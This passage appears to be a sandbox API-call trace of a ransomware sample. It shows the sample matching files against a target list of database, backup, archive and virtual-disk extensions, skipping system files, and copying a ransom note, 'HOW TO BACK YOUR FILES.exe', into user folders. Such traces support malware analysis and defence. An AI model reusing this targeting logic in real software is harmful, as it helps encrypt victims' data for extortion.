	[0036.710] lstrlenW (lpString="dbv") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1
	[0036.710] lstrlenW (lpString="dbx") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1
	[0036.710] lstrlenW (lpString="dcb") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1
	[0036.710] lstrlenW (lpString="dct") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1
	[0036.710] lstrlenW (lpString="dcx") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1
	[0036.710] lstrlenW (lpString="ddl") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1
	[0036.710] lstrlenW (lpString="dlis") returned 4
	[0036.710] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1
	[0036.710] lstrlenW (lpString="dp1") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1
	[0036.710] lstrlenW (lpString="dqy") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1
	[0036.710] lstrlenW (lpString="dsk") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1
	[0036.710] lstrlenW (lpString="dsn") returned 3
	[0036.710] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1
	[0036.710] lstrlenW (lpString="dtsx") returned 4
	[0036.710] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1
	[0036.710] lstrlenW (lpString="dxl") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1
	[0036.711] lstrlenW (lpString="eco") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1
	[0036.711] lstrlenW (lpString="ecx") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1
	[0036.711] lstrlenW (lpString="edb") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1
	[0036.711] lstrlenW (lpString="epim") returned 4
	[0036.711] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1
	[0036.711] lstrlenW (lpString="fcd") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1
	[0036.711] lstrlenW (lpString="fdb") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1
	[0036.711] lstrlenW (lpString="fic") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1
	[0036.711] lstrlenW (lpString="flexolibrary") returned 12
	[0036.711] lstrlenW (lpString="fm5") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1
	[0036.711] lstrlenW (lpString="fmp") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1
	[0036.711] lstrlenW (lpString="fmp12") returned 5
	[0036.711] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1
	[0036.711] lstrlenW (lpString="fmpsl") returned 5
	[0036.711] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1
	[0036.711] lstrlenW (lpString="fol") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1
	[0036.711] lstrlenW (lpString="fp3") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1
	[0036.711] lstrlenW (lpString="fp4") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1
	[0036.711] lstrlenW (lpString="fp5") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1
	[0036.711] lstrlenW (lpString="fp7") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1
	[0036.711] lstrlenW (lpString="fpt") returned 3
	[0036.711] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1
	[0036.711] lstrlenW (lpString="frm") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1
	[0036.712] lstrlenW (lpString="gdb") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.712] lstrlenW (lpString="gdb") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1
	[0036.712] lstrlenW (lpString="grdb") returned 4
	[0036.712] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1
	[0036.712] lstrlenW (lpString="gwi") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1
	[0036.712] lstrlenW (lpString="hdb") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1
	[0036.712] lstrlenW (lpString="his") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="his") returned 1
	[0036.712] lstrlenW (lpString="ib") returned 2
	[0036.712] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1
	[0036.712] lstrlenW (lpString="idb") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1
	[0036.712] lstrlenW (lpString="ihx") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1
	[0036.712] lstrlenW (lpString="itdb") returned 4
	[0036.712] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1
	[0036.712] lstrlenW (lpString="itw") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1
	[0036.712] lstrlenW (lpString="jet") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1
	[0036.712] lstrlenW (lpString="jtx") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1
	[0036.712] lstrlenW (lpString="kdb") returned 3
	[0036.712] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1
	[0036.712] lstrlenW (lpString="kexi") returned 4
	[0036.712] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0036.713] lstrlenW (lpString="kexic") returned 5
	[0036.713] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0036.713] lstrlenW (lpString="kexis") returned 5
	[0036.713] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0036.713] lstrlenW (lpString="lgc") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0036.713] lstrlenW (lpString="lwx") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0036.713] lstrlenW (lpString="maf") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0036.713] lstrlenW (lpString="maq") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0036.713] lstrlenW (lpString="mar") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0036.713] lstrlenW (lpString="marshal") returned 7
	[0036.713] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0036.713] lstrlenW (lpString="mas") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0036.713] lstrlenW (lpString="mav") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0036.713] lstrlenW (lpString="maw") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0036.713] lstrlenW (lpString="mdbhtml") returned 7
	[0036.713] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0036.713] lstrlenW (lpString="mdn") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0036.713] lstrlenW (lpString="mdt") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0036.713] lstrlenW (lpString="mfd") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0036.713] lstrlenW (lpString="mpd") returned 3
	[0036.713] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0036.713] lstrlenW (lpString="mrg") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0036.714] lstrlenW (lpString="mud") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0036.714] lstrlenW (lpString="mwb") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0036.714] lstrlenW (lpString="myd") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0036.714] lstrlenW (lpString="ndf") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0036.714] lstrlenW (lpString="nnt") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0036.714] lstrlenW (lpString="nrmlib") returned 6
	[0036.714] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0036.714] lstrlenW (lpString="ns2") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0036.714] lstrlenW (lpString="ns3") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0036.714] lstrlenW (lpString="ns4") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0036.714] lstrlenW (lpString="nsf") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0036.714] lstrlenW (lpString="nv") returned 2
	[0036.714] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0036.714] lstrlenW (lpString="nv2") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0036.714] lstrlenW (lpString="nwdb") returned 4
	[0036.714] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0036.714] lstrlenW (lpString="nyf") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0036.714] lstrlenW (lpString="odb") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.714] lstrlenW (lpString="odb") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0036.714] lstrlenW (lpString="oqy") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0036.714] lstrlenW (lpString="ora") returned 3
	[0036.714] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0036.715] lstrlenW (lpString="orx") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0036.715] lstrlenW (lpString="owc") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0036.715] lstrlenW (lpString="p96") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0036.715] lstrlenW (lpString="p97") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0036.715] lstrlenW (lpString="pan") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0036.715] lstrlenW (lpString="pdb") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0036.715] lstrlenW (lpString="pdm") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0036.715] lstrlenW (lpString="pnz") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0036.715] lstrlenW (lpString="qry") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0036.715] lstrlenW (lpString="qvd") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0036.715] lstrlenW (lpString="rbf") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0036.715] lstrlenW (lpString="rctd") returned 4
	[0036.715] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0036.715] lstrlenW (lpString="rod") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0036.715] lstrlenW (lpString="rodx") returned 4
	[0036.715] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0036.715] lstrlenW (lpString="rpd") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0036.715] lstrlenW (lpString="rsd") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0036.715] lstrlenW (lpString="sas7bdat") returned 8
	[0036.715] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0036.715] lstrlenW (lpString="sbf") returned 3
	[0036.715] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0036.716] lstrlenW (lpString="scx") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0036.716] lstrlenW (lpString="sdb") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0036.716] lstrlenW (lpString="sdc") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0036.716] lstrlenW (lpString="sdf") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0036.716] lstrlenW (lpString="sis") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0036.716] lstrlenW (lpString="spq") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0036.716] lstrlenW (lpString="te") returned 2
	[0036.716] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0036.716] lstrlenW (lpString="teacher") returned 7
	[0036.716] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0036.716] lstrlenW (lpString="tmd") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0036.716] lstrlenW (lpString="tps") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0036.716] lstrlenW (lpString="trc") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.716] lstrlenW (lpString="trc") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0036.716] lstrlenW (lpString="trm") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0036.716] lstrlenW (lpString="udb") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0036.716] lstrlenW (lpString="udl") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0036.716] lstrlenW (lpString="usr") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0036.716] lstrlenW (lpString="v12") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0036.716] lstrlenW (lpString="vis") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0036.716] lstrlenW (lpString="vpd") returned 3
	[0036.716] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0036.717] lstrlenW (lpString="vvv") returned 3
	[0036.717] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0036.717] lstrlenW (lpString="wdb") returned 3
	[0036.717] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0036.717] lstrlenW (lpString="wmdb") returned 4
	[0036.717] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0036.717] lstrlenW (lpString="wrk") returned 3
	[0036.717] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0036.717] lstrlenW (lpString="xdb") returned 3
	[0036.717] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0036.717] lstrlenW (lpString="xld") returned 3
	[0036.717] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0036.717] lstrlenW (lpString="xmlff") returned 5
	[0036.717] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0036.717] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e0cc510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.717] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.717] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e0cc510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0036.717] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0036.717] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b70
	[0036.717] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Local Settings", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings"
	[0036.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b6088 | out: hHeap=0x580000) returned 1
	[0036.717] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0036.717] lstrlenW (lpString="C:\\Users\\Default\\Local Settings") returned 31
	[0036.717] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Local Settings" | out: lpString1="C:\\Users\\Default\\Local Settings") returned="C:\\Users\\Default\\Local Settings"
	[0036.717] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.717] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Local Settings\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\local settings\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.723] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.723] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Local Settings\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e0cc510, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e0cc510, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0xffffffff
	[0036.723] GetLastError () returned 0x5
	[0036.723] wsprintfA (in: param_1=0x2d3f538, param_2="[ERROR] %S FindFirstFile error %i\r\n" | out: param_1="[ERROR] C:\\Users\\Default\\Local Settings\\* FindFirstFile error 5\r\n") returned 65
	[0036.723] lstrlenA (lpString="[ERROR] C:\\Users\\Default\\Local Settings\\* FindFirstFile error 5\r\n") returned 65
	[0036.723] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc0
	[0036.723] SetFilePointer (in: hFile=0xc0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6ef
	[0036.723] WriteFile (in: hFile=0xc0, lpBuffer=0x2d3f538*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x2d3e204, lpOverlapped=0x0 | out: lpBuffer=0x2d3f538*, lpNumberOfBytesWritten=0x2d3e204*=0x41, lpOverlapped=0x0) returned 1
	[0036.723] CloseHandle (hObject=0xc0) returned 1
	[0036.724] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b50
	[0036.724] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Links", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links"
	[0036.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7e60 | out: hHeap=0x580000) returned 1
	[0036.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b48 | out: hHeap=0x580000) returned 1
	[0036.724] lstrlenW (lpString="C:\\Users\\Default\\Links") returned 22
	[0036.724] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Links" | out: lpString1="C:\\Users\\Default\\Links") returned="C:\\Users\\Default\\Links"
	[0036.724] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.725] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Links\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\links\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.742] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.742] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Links\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e13e930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e13e930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca2d0
	[0036.742] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.742] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.742] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.742] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2e13e930, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e13e930, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.743] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.743] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.743] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.743] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.743] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xd89738ac, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="Apollon865.txt.exe") returned 1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1
	[0036.743] lstrlenW (lpString="desktop.ini") returned 11
	[0036.743] lstrlenW (lpString="C:\\Users\\Default\\Links\\*") returned 24
	[0036.743] lstrcpyW (in: lpString1=0x2d3e57e, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini"
	[0036.743] lstrlenW (lpString="desktop.ini") returned 11
	[0036.743] lstrlenW (lpString="Apollon865") returned 10
	[0036.743] lstrcmpiW (lpString1="esktop.ini", lpString2="Apollon865") returned 1
	[0036.743] lstrlenW (lpString=".dll") returned 4
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1
	[0036.743] lstrlenW (lpString=".lnk") returned 4
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1
	[0036.743] lstrlenW (lpString=".ini") returned 4
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1
	[0036.743] lstrlenW (lpString=".sys") returned 4
	[0036.743] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1
	[0036.743] lstrlenW (lpString="desktop.ini") returned 11
	[0036.743] lstrlenW (lpString="bak") returned 3
	[0036.743] lstrcmpiW (lpString1="ini", lpString2="bak") returned 1
	[0036.743] lstrlenW (lpString="ba_") returned 3
	[0036.743] lstrcmpiW (lpString1="ini", lpString2="ba_") returned 1
	[0036.743] lstrlenW (lpString="dbb") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="dbb") returned 1
	[0036.744] lstrlenW (lpString="vmdk") returned 4
	[0036.744] lstrcmpiW (lpString1=".ini", lpString2="vmdk") returned -1
	[0036.744] lstrlenW (lpString="rar") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1
	[0036.744] lstrlenW (lpString="zip") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1
	[0036.744] lstrlenW (lpString="tgz") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1
	[0036.744] lstrlenW (lpString="vbox") returned 4
	[0036.744] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1
	[0036.744] lstrlenW (lpString="vdi") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1
	[0036.744] lstrlenW (lpString="vhd") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1
	[0036.744] lstrlenW (lpString="vhdx") returned 4
	[0036.744] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1
	[0036.744] lstrlenW (lpString="avhd") returned 4
	[0036.744] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1
	[0036.744] lstrlenW (lpString="db") returned 2
	[0036.744] lstrcmpiW (lpString1="ni", lpString2="db") returned 1
	[0036.744] lstrlenW (lpString="db2") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1
	[0036.744] lstrlenW (lpString="db3") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1
	[0036.744] lstrlenW (lpString="dbf") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1
	[0036.744] lstrlenW (lpString="mdf") returned 3
	[0036.744] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1
	[0036.744] lstrlenW (lpString="mdb") returned 3
